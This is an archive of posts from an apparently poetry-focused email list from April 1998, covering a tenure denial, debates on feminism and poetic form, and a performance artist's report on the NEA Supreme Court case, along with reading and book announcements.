fourth, bill l., *titanic* is one weird flick, for sure, for lotsa reasons that i haven't entirely figured out... i like the wall street allegory, but think in fact that love and death in that item may become a cultural event more b/c film technology intersects with appeal to doomed romance (not so much populist-class-conflicted, but driven by the drifting (visual) artist whose artistic vision literally refrains from exploiting his "true" love); the spectacle of panoramic techo-disaster via flashback which itself contains a viewing audience (presumably to coach

actual viewers as to proper response); the ubiquitous use of the filmic eye/i as a narrative device that ends up reflecting the past through photographic as well as cinematic images (all of those mock-sepia feminist-ic photos of wimslet next to an airplane, etc., the colorized visual of that final death dream, the underwater robot-eye, the computer-aided narrative graphic, or graphic narrative, and such like)... digital as contemporary site of melancholy?---a sort of inverse or submersed sublime?... i am not a cynic, believe me, but found this particular film most troubling... and perhaps most important, it's all upgraded and packaged for digital consumption (think of the use in that film of digital stuntmen and women)... there's something decidely *not* old-fashioned about *titanic*... oh and hey: as you might deduce from this, bill, that i'm myopic as hell, really, can't see w/o my contacts to save my life... and am *not* a good swimmer...

and fifth (i save the worst for last), and along the lines of power: to report here, publicly, that ILLINOIS INSTITUTE OF TECHNOLOGY in chicago has just denied me tenure (along with another colleague here in humanities)... which issue, though as don byrd (my dear dear friend and diss. chair) suggests, is surely an example of a person beating a very personal and public drum, i hope fortifies some of my other comments on this list over the past few years... thanx to all those who've voiced their support for me over the past year during this (what else but?) ordeal... but in any case, i post here with the hope, self-serving though it may be, that folks will drop me a line backchannel if they hear of any institution looking for a poet who knows a bit about critical theory and emedia, and (if i may) who speaks his mind now and again...

best,

joe

↑ Index

45. Maria Damon

Re: dis-appointment...

Thu 2 Apr 1998

---

joe,this is most distressing. you've got a well-received book out from a respectable press --what could possibly be the problem?

At 8:28 AM -0600 4/2/98, Joe Amato/Kass Fleisher wrote:and fifth (i save
the worst for last), and along the lines of power: to
>report here, publicly, that ILLINOIS INSTITUTE OF TECHNOLOGY in chicago
has
>just denied me tenure (along with another colleague here in humanities)...
>which issue, though as don byrd (my dear dear friend and diss. chair)
>suggests, is surely an example of a person beating a very personal and
>public drum, i hope fortifies some of my other comments on this list over

>the past few years... thanx to all those who've voiced their support for me
>over the past year during this (what else but?) ordeal... but in any case,
>i post here with the hope, self-serving though it may be, that folks will
>drop me a line backchannel if they hear of any institution looking for a
>poet who knows a bit about critical theory and emedia, and (if i may) who
>speaks his mind now and again...
>
>best,
>
>joe

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46. SSSCHAEFER
Dodie chat
Thu 2 Apr 1998

Dodie:

In a message dated 98-04-01 20:58:18 EST, you write:

<< Why don't you try reading my writing and the writing of the rest of the women on the list and then you'll see how much of it is all about technique. And the notion of a female form has been kicked around ad nauseum since when--the 70s, the 80s? It's essentialist gaga. Why should we have to kick it around again to conform to your idea of a serious discussion? >>

I have read your writing and much of the rest of the writing on this list and many others. Nice condescension, though. Excellent technique. And of course all writing is about technique at some point. Not sure why you're so hostile to my questions. I thought I was sincerely trying to get someone to help me think about these issues and I think it is happening. I'm not exactly sure why reference to "serious" discussion type things like Shoptaw's book should be attacked here when books, theorists, etc. are mentioned constantly in order to direct a conversation. I'm a little offended by the tone of your post and wonder if I offended you. However, the fact that the female form has been kicked around ad nauseum seems obvious to me. Simply restating it doesn't help. And is why serious conversation should occur.

So many of your posts have been interesting and informative. Never thought you'd be the type to grind an axe. Was there some humor in your post that I missed?

Standard

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47. Mark Prejsnar
theses on poetics and feminism
Thu 2 Apr 1998

1. The more interesting currents in poetry practice, in the last 25 years, shake up form. (The "excesses" of S. Howe or Scalapino, e.g.)

2. A response to the buried twists and injuries of gender polarity, and patriarchal power, requires (or leads to) shaking things up at a number of fundemental levels. That's why the formally explosive and unlooked-for approaches of a Howe, a Scalapino, a Harryman, are startlingly effective at bringing uneasy and buried political constrictions to our attention.

3. These tensions and constrictions exist mainly as lived stresses; social stuff is constituative of who we are. So, although one person has spoken of ideological policing, and another has (half-seriously) suggested she is post-feminist because otherwise she will experience "political correctness and self-censorship," the feminism inherent in the work of the poets mentioned above (and others like 'em) emerges from deep within our social tumult and roil.. It isn't imposed (whether externally or through some improbable "self-censorship")

4. Political correctness is a right-wing slogan, whose basic function is to try to convince us that social dissensions and disputes are artificial and externally-imposed constructions. But often the strife being dismissed as "PC" is real and is rooted in disequilibria of power that are real, and painful on a highly personal level.

5. Form cannot be disentangled from politics. Poetry make everything (or at least anything) happen.

mark p.
@lanta

↑ Index

48. Christopher W. Alexander
Re: Berkeley Bookstore
Thu 2 Apr 1998

> *Can someone help me with the name of the bookstore in Berkeley*

peter - you probably want Small Press Distribution:
1341 Seventh Street, Berkeley, CA 94710-1407. unfortunately, they're only open 10-5 M-F. I've also
had good luck finding used poetry @ Moe's.

if you get to SPD, check out Jed Rasula's Tabula Rasula.

best, chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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49. henry gould

Re: theses on poetics and feminism

Thu 2 Apr 1998

On Thu, 2 Apr 1998 10:38:48 -0500 Mark Prejsnar said:
>
>5. Form cannot be disentangled from politics. Poetry make everything (or
>at least anything) happen.

The paper said today that some Sicilian fisherman (aboard the Capitano Ciccio, or "Captain Fatso") netted a 2000 or so year old bronze statue of a dancing satyr out of the Mediterranean, in pretty good shape though missing a couple limbs. First they caught a leg & then went back later & fished up the rest. They could have sold it on the market themselves, but they decided to give it to a local museum.

Poetry makes things happen when it realizes the world is inherently poetic. "the poetry doesn't matter" [t.s. eliot, very p.c.]

Now of course the satyr is a loaded artypolymorphous whatever. at least the boat was loaded. the article said some of the fisherman said why don't we toss the leg overboard & just keep the rest, it was so heavy. Ahab fortunately said "no, fellas".

- Henry Gould, a.k.a Captain Fatso, trying hard to cause trouble as usual in his complacent a-political way

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50. Susan Wheeler

Re: dis-appointment...

Thu 2 Apr 1998

Joe! They are fools, fools --

>and fifth (i save the worst for last), and along the lines of power: to
>report here, publicly, that ILLINOIS INSTITUTE OF TECHNOLOGY in chicago has
>just denied me tenure

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

51. Billy Little
springtime in nowhere
Thu 2 Apr 1998

---

the forsythia ablaze and JAB9 in my mailbox, whoever sent me the Journal of Artists Books thank you very much, i plan on subscribing, this issue has a rich feature centrefold of Keith and Rosemarie Waldrop, long may they thrive igniting our intellect.

↑ Index

52. k. lederer
Re: Tired chit-chat
Thu 2 Apr 1998

On Thu, 2 Apr 1998, Mark Weiss wrote:

> I've been hearing about putative distinctions about the way
mainstream and experimental writers write (as opposed to the subject of
their writing) for maybe 30 years, and I've yet to see them demonstrated.
Laurence Sterne wasn't the first man to write in the manner that Cixous
describes as experimental, and the Brontes got away with pretending to be
mainstream. Their writing wasn't obviously brilliant to anyone until it
was revealed to be so. Somebody a long time ago decided that rhymes ending
with an unstressed syllable were "wierd" and "experimental." The
designation was certainly applied by a mainstream writer and while the
designation is rich with suggestion about attitudes about aesthetic camp,
it's prosodically nonsensical. Mainstream and "experimental" writers have
been more-or-less communicating with language for a long time, and
mainstream and "experimental" writers have been unselfconsciously enjoying
each other's writing for almost as long as there's been writing, and
usually without the need of a translator. So the differences must be
relatively superficial. I don't know that the suggested
aesthetic difference, however slight or major, is important to any agenda,
but I would be intrigued if it exists. Rather than quoting theorists why
not present a text and explain convincingly why it has to be by a member
of one or another aesthetic camp?
>
(Just a little tinkering--I think the results are interesting....)

Best,
Katy

↑ Index

53. **MAYHEW**
dis-appointment
Thu 2 Apr 1998

I'm disgusted when brilliant people I know (if only from the list and reading their books) are denied tenure at colleges that are lucky to have them in the first place.

Viva la mediocridad!

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

54. **RJRVE**
Re: theses on poetics and feminism
Thu 2 Apr 1998

Must pipe in my agreement with Henry, that the world is inherently poetic, not poetry driving the world. (thanks for the satyric image!)

When Olson wrote "I have an ability..." it has always been my take that he strained to allow his eye-view to see things in their autonomous reality (a stance that was greatly aided by Jung's view of Psyce as autonomous).

Richard Reeve

↑ Index

55. **dbkk**
TIM MILLER'S REPORT FROM THE SUPREME COURT
Thu 2 Apr 1998

Thought some of you might find this interesting.

Dodie

> *TIM'S REPORT FROM THE SUPREME COURT- April 1, 1998*
>
> *I am back from my day in court, the SUPREME COURT that is. It was a crazy journey to go to DC for two days to be at the oral argument for the last*

driblets of the NEA 4 case but I am glad that I made the effort and schlepped to see the spectacle of the Supremes finally taking on the Culture War. I took a late flight to DC, spent the night at my brother's house in McLean, VA around the corner from Ken Starr's house, and was woken up the next morning at 6:30 AM by my two fabulous nephews bouncing up and down on my bed saying "Uncle Tim! Uncle Tim!" (Interesting to have my adventure in court as a queer artist begin in the lap of the heterosexual family unit! So noisy! So early! So cute Devin and Jason are!) This was the equivalent of 3:30 AM LA time, so I was not at my prettiest as the boys pummeled me with pillows. I managed to coffee up and make the morning commute with my brother Greg to Arlington where I hopped on the Metro. For once in my life I am early for something! I meet my great friend photographer Dona McAdams at Union Station and we stroll down to the court. The camera piranhas are already gathered waiting for fresh meat. Skirting the long line (I know we are on a list with the US Marshall) I walk up the long steep marble stairs of the Supreme Court and all at once it feels like a sword and sandals epic from the 50's! Dona and I go through many layers of security as we run into Karen Finley and Holly Hughes & Esther Newton also waiting in line. Other familiar faces from the last years of this controversy: ACLU lawyers, journalists. Willem Dafoe and other Wooster Group folk. For a moment it feels strangely like a high school reunion to me. Finally we get in and take our seats. I am sitting next to a woman from the NEA who seems to think we should be buddies even though we are on opposite sides in this case and I happen to believe it is shameful that not a single one of these NEA bureaucrats ever resigned in protest. Dona is on my right and Karen next to her, Holly and Esther further down. The room is high and pillared with big faggy swags of bordello-red fabric between. (Justice Souter's decorating tips, I imagine!) The tall ceiling is covered with the usual marble bas reliefs of humpy workers and wise men passing judgement. Directly above where the Supreme
Court Justices sit is a marble carving of two men with excellent abdominals sitting in thrones side by side. One is bearded (Steve Reeves as Hercules) the other smooth shaven, boyish but built. These carvings will be the perfect backdrop for the day in that not too distant (I hope) future when this Court will finally pass judgment on Lesbian and Gay marriage. I would like to be there on that day!

Oye! Oye! Oye! The judges come in. The Big Daddies (even though two are women). Every disciplinary visit to the Principal's office in elementary school comes back to me as the Justices take their seats. Once in 4th Grade Principal Lambas made me fill a dixie cup up with my own spit in his office after I had spit on another boy in my class. This was Principal Lambas' idea of a just punishment. It takes a very long time to fill a big dixie cup with your own saliva. This was what I remembered at the Supreme Court took their seats.

The oral (was this why I remembered that afternoon in Principal Lambas' office?) arguments begin. They earlier had distributed a pamphlet which instructs us "How to Behave at an Oral Argument". The Justices, who rock a lot

in their comfy recliner chairs, seem to me to be quite surly with the Solicitor General (Seth Waxman) presenting the Government's case. I start to think the Court is leaning our way. The Solicitor General tries to pitch that the "standards of decency" language is not really censoring speech. "We don't think there is a any constitutional problem here". Justice Kennedy seemed to reject this and sensibly responds that all art inevitable carries with it "viewpoint" and is by nature vulnerable to such curtailment by vague notions of "decency". Clarence Thomas, as usual, says nothing throughout all the proceedings. Our lawyer David Cole gets up and I think does very well, though the Justices are on his butt too and will hardly let him finish a sentence. The Court seems annoyed that they are having to deal with this matter. David boldly spins the argument that the speech of artists needs to be protected by the same standard of freedom of speech even when the government has supported it with a grant. The decency rule "singles out art which has a nonconforming or disrespectful viewpoint. Government can't impose an ideological screen " without abridging the 1st Amendment, David said. The Justices seemed skeptical of this notion or that any "Chilling Effect" had really happened on account of this language. (You'll have to read the stuff in the papers for more details.)

Time's up! Suddenly the oral argument is argumentative no more and is done!

It had taken an hour. After eight years of drama and hate mail and blabbing and death threats and demonstrations it all ended up with the Supreme Court spending an hour on this subject. I felt quite dazed. We were ushered out and the next case was already on. Walking back down the marble stairs, which felt a little more now like I was leaving Principal Lambas' office than the Forum in Rome, Holly, Karen and I made our way to a garden of microphones for the press conference. I was dreading having to say something. The part of me that is Mr. Sound Bite was nowhere to be found. It all felt too overwhelming and on the spot. We lined up. Lawyer David Cole was articulate and upbeat. Karen said she felt like she had been in an abusive relationship with Jesse Helms and that he had been sexually harassing her at her workplace. Holly made the crucial point that the reason we even were at the Supreme Court was because of yet another betrayal by Clinton who could have let stand the lower court decision that "standards of decency" were an unconstitutional criterion for the funding of the arts. I tried to make the point that younger artists all over the country have received the signal loud and clear that work about sexuality, politics or gender gets in a mess of trouble. I brought up my students at Cal State who struggle through all this censoring shit to try to claim their expression. I wanted to remember that it is the emerging artists that are really getting fucked with by this "chilling" limiting of creative speech. That felt like a sensible message to speak to the cameras in front of the Court. It was the best I could manage amid my jet lag in any case.

We walked across the street for a little reception and post-game huddle. I felt really tired. My usual excitement about Democracy in Action (Civics class had been one of my favorites!) was pretty depleted at this point. Fittingly, as the reception wound down, a bunch of us went and had lunch at the

> *restaurant "America" in Union Station to debrief the day. General thoughts: I think the court will probably kick the case out and not make decision. I am pissed off that Clinton challenged the Ninth Circuit decision. I am convinced that though this business with the Supreme Court is a big battle, there are a zillion little struggles that are really where my work needs to be done:*
>
> *Like continuing to dismantle that censor in my head that got put in there through a thousand experiences in my lifeÖincluding that time when Principal Lambas made me fill up a dixie cup with my own spit. Clearly Principal Lambas had the imagination of a performance artist!*
>
> *Like making sure we keep Highways, the most attacked performance space in all this fuss, open and thriving and training a bunch of new and fierce artists. This goes for all the other arts centers in the country that have been hassled, especially Out North in Anchorage who are currently under the gun in Alaska.*
>
> *Like encouraging my students at Cal State (and everywhere else I teach) to do our wildest and most truthful work including the ensemble piece called I AM NOT YOU which we showed at Highways the night before I flew to DC. I saw my gang of students sift through their own issues of identity and come up with powerful and specific statements of self. Their skin and their history and their voices alive in the room!*
>
> *Like continuing to dig deep into my life as a queer citizen and trying to figure out what the stories are that I need to bring forward as an artist for myself and for my community.*
>
> *Your Court Reporter signing off,*
>
> *Tim Miller*

↑ Index

56. **Rachel Levitsky**

Re: naming and power

Thu 2 Apr 1998

Thanks Dodie. All of what you say resonates. It always gets back to naming, on one hand, certain purist or mainstream "Ms" feminists might find us awfully distasteful, or male identified even, certainly dangerous in our purveys into pornography, on the other hand (I had this experience in Mexico) other groups would think we were oppressive, married to political correctness, bourgeois, oppressive to peoples of color. Still, I always err on the side of claiming my names and get irritated beyond belief by the (prevalent here at Naropa) "why do you have to name (implying limit) yourself" attitude. Poetry and Identity rely

on the power of naming. So yes, an unobservant, anti-zionist jew, a make-up wearing feminist, a lesbian who sleeps with whoever I want to, etc etc etc. Another note on power. I don't subscribe to a notion of scarcity, but the capitalist economy operates on a hoard/lack model so that the dominant groups end up having 'extra'. I think it is valid to skim off this extra by any means necessary, i.e. guilt (shaming), theft, graffiti, boycotts of barnes and noble, public humilitation etc etc etc. Hence, I feel absolutely just in saying that all editors of political consciousness are morally bound to strive for inclusion of women and peoples of color parity in their publications UNLESS they are will to justify the limitations.

mesmerized by the furious snow fall,
Rachel Democracy

[redacted] wrote:
>
> >Date: Tue, 31 Mar 1998 18:07:21 -0700
> >From: Rachel Levitsky <[redacted]>
> >Subject: Re: screening process/feminism
> >
> >Dodie--I think that is an excellent screening process and am not
> >surprised that it works as a filter.
> >
> >I was curious about your comment about no longer being a feminist. I
> >often feel like a bad feminist myself but I don't think anything to
> >drastic has changed in me--I'm just more willing to be vocal about all
> >of me, pervert and feminist. Can you enlighten??
>
> Actually, Rachel, when I said that about no longer being a feminist (that's
> a hard word to spell) I was being light-hearted about no longer being in
> the preciousness of the Feminist Writer's Guild. I don't like to align
> myself with any group at this point--even feminist--the ugly specter of
> political correctness raises its head--and self-censorship is close behind.
> I've been reading feminist theory for like 20 years and at least 90% of the
> books I read are by women. I think an important thing that was covered in
> Kathleen Fraser's project, and which I've really taken to heart, is that
> women do not have to engage language in a manner privileged by male poets
> and thinkers. Her ideas, for instance, of "and/but" (female) as opposed to
> "either/or" (male). I'm leary of making rules about this or generalizing.
> Ecriture feminine was interesting and radical when it came out, but now I
> think lots of people find it problematic. I think that one shouldn't feel
> a compulsion to use male forms in writing, but also one shouldn't feel
> pressured into speaking about writing in the current cliches of the

> intelligencia. I've been thinking about something Katy said a few days
> ago--something about how she'd read her Derrida and Foucault--like she'd
> done her homework--and now she has a right to talk about women. I think
> this points up the sickness--not of Katy--but of the comically elitist
> poetic avant-garde in which many of us are involved. Why does Katy have to
> have read Derrida and Foucault--or feel that she should have--in order to
> validate her speaking? If D and F feed her writing, that's one thing, but
> the compulsion that everybody who's intelligent and writing poetry must
> read them is bunk.
>
> I look forward to the day when a younger version of Katy will say, "I've
> read Catherine Clement and Jacqueline Rose . . ." Or even Laura Mulvey . .
> . That's when feminism will have really made a dent.
>
> Dodie

↑ Index

57. Rachel Levitsky
Re: Left Hand Reading Series
Thu 2 Apr 1998

Thursday, April 16, 1998--8:30 P.M.

LEFT HAND READING SERIES---Boulder, Colorado

Anselm Hollo
Cole Swenson
David Bromige
Open Reading

1825 Pearl above Wild Oats.
Free, donations accepted, refreshments provided.
For info call [redacted], [redacted].

↑ Index

58. Jordan Davis
"*publicly thanking Dodie*"
Thu 2 Apr 1998

Dodie,

Thanks for posting Tim Miller's travel/reading report on the NEA Supreme Court case. I started out interested in the matter, and I wound up interested in his style. As you know, I am demonically parochial in my reading; who is Tim Miller? A performance artist? An artist? A writer? Or if that kind of

categorization seems as silly to you as it sounds to me now, would you help me out and tell me a little about him? He seems, well, interesting!

Again, thank you, and good night,
Jordan

↑ Index

59. Mark Weiss
(no subject)
Thu 2 Apr 1998

I have a bunch of very slightly ding'd copies of Rochelle Owens' _New and Selected Poems 1961-1996_ (192 pp. pb) and Argentine poet Luisa Futoransky's _The Duration of the Voyage_ (Spanish-English facing-page, translated by Jason Weiss, 96 pp. pb) available at half-price, $10.00 for the Owens and $5.50 for the Futoransky. Shipping is $2.00 for one to three books in any combination.

Reviews being a very slow tide, only a few are in, including raves from Library Journal and Publishers Weekly for both books, and they're already selling rather well--54 copies of Rochelle's ordered this morning, in fact.

Here are two quotes from the back cover of _New and Selected_.

Maureen Owen: "Owens goes cold turkey on the agony and delight of living in this century. She is the Shaman-genius exploring deeper realities in the psychic realm. She reaches down into the living, breathing mythical core and pulls up the forces of chaos spitting and kicking; she gives us back the hungry power of our own imaginations."

Marjorie Perloff: "In its uncompromising savagery, its passionate rejection of sentimentality, Rochelle Owens' lyric voice is unique among contemporary poets. An astonishing body of work."

You can find commentary on Rochelle's work by, among others, Toby Olson, Jackson Mac Low, Jane Augustine, Maureen Owen and Susan Smith Nash, at www.thing.net/~grist/l&d/owens/lro-cont.htm, where there are links to generous selections of her poetry.

Luisa Futoransky's book is her first major representation in English, so there are fewer resources. Her latest book was recently released in Mexico in an edition of 15,000 (yup, and they expect to sell them). Maybe we should all publish in Spanish.

↑ Index

60. Angela Szeto
Re: springtime in nowhere
Thu 2 Apr 1998

hi i'm new (my name is also angela)

a centerfold of the waldrops (is that keith's last name)? where can i get a copy

> *the forsythia ablaze and JAB9 in my mailbox, whoever sent me the Journal of Artists Books thank you very much, i plan on subscribing, this issue has a rich feature centrefold of Keith and Rosemarie Waldrop, long may they thrive igniting our intellect.*

↑ Index

61. ScoutEW
PBS
Thu 2 Apr 1998

Since when did PBS get commercials? where have I been, I was watching some show about a time-traveling dog that talked and then all of a sudden a commercial for 7-11? Strange, I'm used to all of those telethons So I am intersted in the Sense of time that Scalapino plays with in her work. In Defoe especially, there is this sense of travel when you read the text, It is one of the first texts that I have read where literally the time feels warped and shifted, no sense of direction in a non-patronizing way- I love it- What's next for Scalapino, what comes out next?titles?> Presses? I'll be at the Anselm Berrigan reading this weekend come up and say hi to me y'all Ill be the one in the pants, shirt and shoes erik

↑ Index

62. Hugh Nicoll
Gertrude Stein Online
Thu 2 Apr 1998

The following announcement may be of general interest. Articles in the inaugural issue will also be of interest re: the gendered discourse threads of recent days.

NOW AVAILABLE:

time-sense: a quarterly on the art of Gertrude Stein
Volume 1 No.1
at http://www.tenderbuttons.com/review.html

Sonja Streuber, Editor
Sarah Kornfeld and Stafford, Co-editors

Recent Stein criticism has addressed such issues as her postmodern disjunctive style, representation and the body, exile and bio/geography,

and Stein's connection with the other arts. Some criticism has tried to reconstruct her texts, reading them from the point of view of queer, ethnic, and theological studies. Artists have set her words to other words, to visual art, to music, and to performance. In other words, the vastly expanding field of Stein studies today ranges from textual and psychoanalytic observations to cultural studies and artistic experiments. Time-Sense hopes to provide a forum for the ongoing examination of how we make sense of Stein in our time.

Contents of Volume 1 No. 1: Beginning Again

Editor's Note
Rubery, Annette, "The Mother of Postmodernism? Gertrude Stein On-Line"
Moramarco, Fred, "Grr truth's tie-in" (poem)
Jarraway, David, "'Absence of More': The Struggle for Queer Self-Authorization in Gertrude Stein"
Kimball, Jack, "Gertrude Stein and the Natural World"
Logsdon, Denise, "A Listening to Gertrude Stein. A Writer's Preface"

time-sense is currently soliciting written submissions from all theoretical, critical, and creative approaches, and artistic submissions

in all reproducible media for its upcoming issues and also welcomes conference-listings, panel abstracts, and inquiries for book reviews:

June: Gertrude Stein and her Audience
(Deadline: May 1)

"The thing that is fundamental about plays," writes Stein in her essay, "Plays," "is that the scene as depicted on the stage is more often than not one might say it is almost always in syncopated time in relation to the emotion of anybody in the audience." Submissions are invited that investigate Stein's relationship to her audience/"readience": How citational/ performative is this relationship? How/ Does Stein address audience at all? (How) Do we understand Stein's writing as performative? How do we perform reading Stein? How does reading Stein perform us? This issue will encompass a forum on the teaching of Stein's work in the undergraduate classroom, for which all sorts of submissions (narratives, lesson plans, pedagogical strategies, reading questions, etc.) are being sought.

September: Gertrude Stein and the Question(ing) of Politics (Deadline: August 1)

In her writing Stein often distinguishes between americans and Americans, between french and French, or germans and Germans. While some critics maintain that Stein was a pacifist, one researcher recently uncovered in

the Stein-archive a celebratory piece about Petain's Vichy-government. Submissions are invited that address questions of Stein and nationhood and Stein and politics, such as: What are the implications of Stein's assigning such distinctive (trans)national labels in the context of her (and our) understanding of gender, ethnicity, or sexuality? How have other modernist and postmodernist scribes commented on Stein's (re)vision of nationhood? Is it possible, at all, to read Stein as a political artist?

December: Gertrude, Alice and their Seasons
(Deadline: November 1)

Stein's understanding of time and /as geography has been widely explored, but not the use, representation, and significance of seasons and seasonal events, or Jewish religious events, in Stein's and Toklas' writing. We know much about Stein's love for the bright summer sun, about her winter

and summer residences, and we know what Alice used to cook at certain times in the year, but the body of criticism and art on these issues is rather small.

For submission format, please refer to the submission guidelines at http://www.tenderbuttons.com/review3.html or write to the editor at
[redacted].

--*-

think gert how can we bring democracy to these germans, she didn't hesitate a second responding, "teach them disobediance!"

↑ Index

64. Schuchat Simon
Re: Tired chit-chat
Thu 2 Apr 1998

On Thu, 2 Apr 1998, k. lederer wrote:

> On Thu, 2 Apr 1998, Mark Weiss wrote:
>
> Mainstream and "experimental" writers have
> been more-or-less communicating with language for a long time, and
> mainstream and "experimental" writers have been unselfconsciously enjoying
> each other's writing for almost as long as there's been writing, and
> usually without the need of a translator. So the differences must be
> relatively superficial.
> >
> (Just a little tinkering--I think the results are interesting....)
>
> Best,
> Katy
>

I would argue that this "tinkering" with Mark's post producing the above sentence produces statements which are demonstrably inaccurate, at least the sentences above are demonstrably inaccurate. Was it your view that the prior, unmodified statements were equally untrue? I'm kind of slow about things like this, just trying to figure out what it is you are contesting, as mainstream writer heavily influenced by Alice Notley.

↑ Index

65. Billy Little
JAB in Nowhere
Thu 2 Apr 1998

---

the Journal of Artist's Books
324 Yale Ave.
New Haven, CT. 06515
[redacted]

send a cheque or money order $9us

↑ Index

66. Keston Sutherland
Re: disobey: how is it that a woman is the only genius of our age
Thu 2 Apr 1998

> *how can we bring democracy to these germans, she didn't hesitate a second responding, "teach them disobediance!"*

well, she was wrong, wasn't she? Nietzsche tried to teach 'them' exactly that, and became a textbook in the Third Reich. The nsdap were pretty disobedient, all things considered (versailles, Munich putsch etc). "how is it that a woman is the only genius of our age": it isn't. Maybe she should have hesitated.

↑ Index

67. Don Wellman
Re: (four/four) theses on poetics and feminism
Thu 2 Apr 1998

This post from Michael Corbin referencing Bach's Matthaus Passion, makes me long for an anti-poetics. MC is is right -- nothing matches this work for beauty of form , for poetry of atonement/remberance/desiring:

mache dich mein herzen rein

I feel his post deeply. I feel his memories and I think his desires amidst the history he retells, personal and national, grieving really. Droplets of blood in the triplets of the printed score as the heart breaks.

I remember also being stunned watching a film. "heimat"--fascinating film, hours and hours of footage putting me there in the Germany of the Hitler time, a cynical lyrical film. At one point some of the "lead" characters were in a movie theater watching a filmed performance of the Matthau's Passion and there were tears at the strains of the aria, "lord, make my heart pure" tears on the faces of the uniformed Nazi's in the theater, bitter, bitter irony -- that such music could lend itself to such purposes of Nationalism ...

I think it best to disentangle poetry from politics. I am only following Benjamin here. I am not claiming an independent judgment on the value of aesthetic form. I think that the thesis that mc mediates on,

> On Thu, 2 Apr 1998 10:38:48 -0500 Mark Prejsnar said:
> >
> >5. Form cannot be disentangled from politics. Poetry make everything (or
> >at least anything) happen.
>
> Poetry makes things happen when it realizes the world . . .

is a dangerous thesis.

Maybe what is needed on the gender thread is an anti-poetics of gender too. I think that is what I am hearing some women say on the gender thread, lets dis-entangle those constructions from what we write ...

There is no pure point of view, no certainty of gender if we get down to telling our own stories ... no certainty that our poetics contribute to the "good" cause ... every reason to write then from where you are as I think many on this last have been attempting to do recently.

Don Wellman

I offer some links in case anyone wants to know where I am writing from

http://www.postypographika.com/catalog/lightdst/wellman.htm
http://www.dwc.edu/users/wellman/OARS.HTM

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68. Keston Sutherland
Rose's mourning
Thu 2 Apr 1998

there seem to have been a fair few posts, recently, making mention of National Socialist Germany - can I recommend Gillian Rose's excellent book _Mourning Becomes the Law_ (Cambridge University Press), as a refreshed and perfectly considerate address of many of the questions and attitudes that are often taken for granted? Her term "holocaust piety" (her family were Jewish exiles) has made me think --

k

↑ Index

69. Billy Little
obediance
Thu 2 Apr 1998

keston

the germans were the most obediant citizenry that was why auschwitz begen belsen dachau himmel / you're not proposing teach the germnans obediance is what stein should have said are you? she threatens you, that's obvious or is the message of keston and harvard OBEY, keston sutherland the anti-Notely, if you want to be a bully please wait until i put on my yellow star, you are wrong, you couldn't shine her shoes

↑ Index

70. **michael corbin**

Re: (four/four) theses on poetics and feminism

Thu 2 Apr 1998

henry gould wrote:
>
> On Thu, 2 Apr 1998 10:38:48 -0500 Mark Prejsnar said:
> >
> >5. Form cannot be disentangled from politics. Poetry make everything (or
> >at least anything) happen.
>
> Poetry makes things happen when it realizes the world . . .

Its a strange church. An 'Episcopal' 'cathedral'; gothic and something about the nation-state. A washington national cathedral.

Last sunday evening I sat in on the performance. It was Bach. The Matthew Passion. Tuneful Erbauliche Gedanken au den Gruen Donnerstag und Charfreitag.

Probably the bestest realization of the holy-ghost since I saw the Reverend Al Green in that Memphis church. amen.

A friend and I followed the score we brought lookin for that Augustinian numerology and Bach's playful representation of notes and hopes and 'meaning'.

Coretta King, in memorium, made an unannounced appearance and said a few words before the passion. She said, even today, she believes in something like the beloved community. All things heretofore nothwithstanding. don'yt even have to do poetry.

30 years before sunday. To the day.

MLK was in washington. Stirring it up for the 'Poor Peoples March on Washington'.

Johnson already felt the double-cross on vietnam. after you give up the 'voting-rightss' you expect quid pro quo. So that nigger was was up for grabs. Particularly coming to washington talking trash.

His sermon, 30 years ago sunday at the same pulpit: "On Not Sleeping Through a Great Revolution".

Bach could tax those Lutherans. St. Matthew is a gorgeous 4-hour possibility. Nothing much else like it (western civilization and all that). good singers in the right hall. amen. performance poetry. particularly from the tenor this night. man, boy-friend had some lungs. endurance, remembering.

30 years ago they had a plan, these music people in this cathedral, to do this same piece of music. It was to be the sunday that followed april fourth.

It was both the national guard and the various policing apparatus that imposed the curfew after the city started burning.

When sunday came they cancelled the passion. Because it was after curfew time. Armored personnel carriers in the street. and shit like that.

They never played it again. Until last sunday. something about '98.

Not that its, even, the absence of redemption. But whether it is the absence of the possibility of even remembering. Sometimes even in that forgetting-poetics.

Da ging hin der Zwolfen einer, mit Namen Judas
Ischarioth, zu den Hohenpriestern und sprach: "Was wolit
ihr mir geben? Ich will ihn euch verraten." Und sie boten
ihm dreisig Silberlinge.

ok, done,

merica

mc

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71. k. lederer
Re: Tired chit-chat
Thu 2 Apr 1998

I'm "mainstream writer heavily influenced by A Notley" or you are?

I don't know what I think about the statements that were produced by the tinkering--just thought it was interesting to note how interchangeable the discourses seem to be here--

Best,
Katy

On Fri, 3 Apr 1998, Schuchat Simon wrote:

> *On Thu, 2 Apr 1998, k. lederer wrote:*
>
> *On Thu, 2 Apr 1998, Mark Weiss wrote:*
>
> *Mainstream and "experimental" writers have*
> *been more-or-less communicating with language for a long time, and*
> *mainstream and "experimental" writers have been unselfconsciously enjoying*
> *each other's writing for almost as long as there's been writing, and*
> *usually without the need of a translator. So the differences must be*
> *relatively superficial.*

> *(Just a little tinkering--I think the results are interesting....)*
>
> *Best,*
> *Katy*
>
> *I would argue that this "tinkering" with Mark's post producing the above sentence produces statements which are demonstrably inaccurate, at least the sentences above are demonstrably inaccurate. Was it your view that the prior, unmodified statements were equally untrue? I'm kind of slow about things like this, just trying to figure out what it is you are contesting, as mainstream writer heavily influenced by Alice Notley.*

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72. **Stephen Cope**
address query
Fri 3 Apr 1998

Might anyone have an e-mail for Paul Naylor?

Thanks in advance...

Stephen

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73. **Mark Weiss**
Re: Tired chit-chat
Fri 3 Apr 1998

Katy: I didn't intend to say anything about your tinkering because I thought it was silly on its face. Because of syntax with a little tinkering--in this case primarily replacing nouns--all discourses are in this sense interchangeable. Tinkering, at any rate, is easier than an analysis of language-use as gendered.

At 10:41 PM 4/2/98 -0600, you wrote:
>I'm "mainstream writer heavily influenced by A Notley" or you are?
>
>I don't know what I think about the statements that were produced by the
>tinkering--just thought it was interesting to note how interchangeable the
>discourses seem to be here--
>
>Best,
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>
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>> > usually without the need of a translator. So the differences must be
